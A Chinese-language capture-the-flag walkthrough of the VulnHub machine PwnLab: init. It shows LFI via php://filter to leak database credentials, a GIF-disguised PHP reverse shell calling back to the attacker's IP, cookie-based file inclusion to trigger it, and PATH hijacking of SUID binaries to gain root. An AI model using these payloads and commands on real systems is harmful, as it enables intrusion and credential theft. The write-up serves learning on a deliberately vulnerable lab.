18-VulnHub-PwnLab: init
靶机地址:https://www.vulnhub.com/entry/pwnlab-init,158/
目标:得到root权限&找到flag.txt
作者:尼德霍格007
时间:2021-8-12
注意:此次渗透在VMware虚拟机中演示,kali机IP地址为192.168.21.128。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,概不负责。
一、信息收集
nmap扫描靶机地址
看到靶机地址是192.168.21.6
扫描靶机开放端口
看到靶机开放了80、111、3306和53200端口
用nikto扫描web中隐藏或配置错误的目录或文件
nikto -h 192.168.21.6
显示config.php可能包含数据库账户和密码,还有登录页面和/images目录等
访问一下web服务
可以看出存在LFI漏洞利用
直接按照意思输出访问即可找到base64值
http://192.168.21.6/?page=php://filter/convert.base64-encode/resource=config
base64解码一下
PD9waHANCiRzZXJ2ZXIJICA9ICJsb2NhbGhvc3QiOw0KJHVzZXJuYW1lID0gInJvb3QiOw0KJHBhc3N3b3JkID0gIkg0dSVRSl9IOTkiOw0KJGRhdGFiYXNlID0gIlVzZXJzIjsNCj8+
解出来是
<?php
$server = "localhost";
$username = "root";
$password = "H4u%QJ_H99";
$database = "Users";
?>
得到了数据库的账户和密码,登录
mysql -uroot -pH4u%QJ_H99 -h 192.168.21.6
找到几个账户
密码是base64编码,把密码解码一下,如下
user | pass |
---|
kent | JWzXuBJJNy | mike | SIfdsTEn6I | kane | iSv5Ym2GRo |
在web端登陆一下
登陆成功就可以上传文件了
二、获取shell
找个php木马,这是一个反弹shell的木马
GIF89a
<?php
$sock=fsockopen('192.168.21.128',8080);
$descriptorspec=array(
0-->$sock,
1-->$sock,
2-->$sock
);
$process=proc_open('/bin/bash',$descriptorspec,$pipes);
proc_close($process);
echo phpinfo();
?>
保存为GIF文件并上传
在页面源码中即可看到上传的文件在服务器中的文件名
上传成功,下一步需要触发这个木马。
dirb扫描一下网站目录
发现index有个php文件,有了前面的config.php的经验,我们再来一次
http://192.168.21.6/?page=php://filter/convert.base64-encode/resource=index
解码
PD9waHANCi8vTXVsdGlsaW5ndWFsLiBOb3QgaW1wbGVtZW50ZWQgeWV0Lg0KLy9zZXRjb29raWUoImxhbmciLCJlbi5sYW5nLnBocCIpOw0KaWYgKGlzc2V0KCRfQ09PS0lFWydsYW5nJ10pKQ0Kew0KCWluY2x1ZGUoImxhbmcvIi4kX0NPT0tJRVsnbGFuZyddKTsNCn0NCi8vIE5vdCBpbXBsZW1lbnRlZCB5ZXQuDQo/Pg0KPGh0bWw+DQo8aGVhZD4NCjx0aXRsZT5Qd25MYWIgSW50cmFuZXQgSW1hZ2UgSG9zdGluZzwvdGl0bGU+DQo8L2hlYWQ+DQo8Ym9keT4NCjxjZW50ZXI+DQo8aW1nIHNyYz0iaW1hZ2VzL3B3bmxhYi5wbmciPjxiciAvPg0KWyA8YSBocmVmPSIvIj5Ib21lPC9hPiBdIFsgPGEgaHJlZj0iP3BhZ2U9bG9naW4iPkxvZ2luPC9hPiBdIFsgPGEgaHJlZj0iP3BhZ2U9dXBsb2FkIj5VcGxvYWQ8L2E+IF0NCjxoci8+PGJyLz4NCjw/cGhwDQoJaWYgKGlzc2V0KCRfR0VUWydwYWdlJ10pKQ0KCXsNCgkJaW5jbHVkZSgkX0dFVFsncGFnZSddLiIucGhwIik7DQoJfQ0KCWVsc2UNCgl7DQoJCWVjaG8gIlVzZSB0aGlzIHNlcnZlciB0byB1cGxvYWQgYW5kIHNoYXJlIGltYWdlIGZpbGVzIGluc2lkZSB0aGUgaW50cmFuZXQiOw0KCX0NCj8+DQo8L2NlbnRlcj4NCjwvYm9keT4NCjwvaHRtbD4=
得到
<?php
//Multilingual. Not implemented yet.
//setcookie("lang","en.lang.php");
if (isset($_COOKIE['lang']))
{
include("lang/".$_COOKIE['lang']);
}
// Not implemented yet.
?>
<html>
<head>
<title>PwnLab Intranet Image Hosting</title>
</head>
<body>
<center>
<img src="images/pwnlab.png"><br />
[ <a href="/">Home</a> ] [ <a href="?page=login">Login</a> ] [ <a href="?page=upload">Upload</a> ]
<hr/><br/>
<?php
if (isset($_GET['page']))
{
include($_GET['page'].".php");
}
else
{
echo "Use this server to upload and share image files inside the intranet";
}
?>
</center>
</body>
</html>
第6行显示include(“lang/”.$_COOKIE[‘lang’]);意思是使用lang可以打开会话
因为我们使用的反弹式shell,要先开启监听
使用curl工具
curl -v --cookie "lang=../upload/b1a99ebaad4dd28f57517de36e770484.gif" http://192.168.21.6/index.php
因为lang是在index.php中得到的,所以要用它来访问上传的gif
这边即可获取到shell
但是是低权限
先用python获取一个交互式shell
python -c 'import pty;pty.spawn("/bin/bash")'
三、提权
刚才我们的到了3个账户,换个账户
进入kane目录
发现了一个msgmike,是一个文件,执行一下
提示找不到文件/home/mike/msg.txt
在tmp目录下创建一个cat文件,内容是/bin/bash
修改环境变量后让msgmike执行bash -i获得mike的权限
返回kane目录执行msgmike
看到mike用户在mike和kane组中
进入mike用户
有个文件,执行一下
提权成功,查看flag
四、总结
针对PHP伪协议的学习和文件上传漏洞、文件解析漏洞、文件包含漏洞、反弹shell重新回顾了下。整体难度中等。
整体思路如下
靶机 --> 主机端口探测 --> web渗透 --> 文件包含 --> 得到数据库账号密码 --> 在数据库中查到登录账号密码 --> 查看源码 --> 文件上传木马 --> 通过Cookie文件包含 --> 反弹shell --> 切换账户 --> 利用环境变量提权 --> 找到flag
|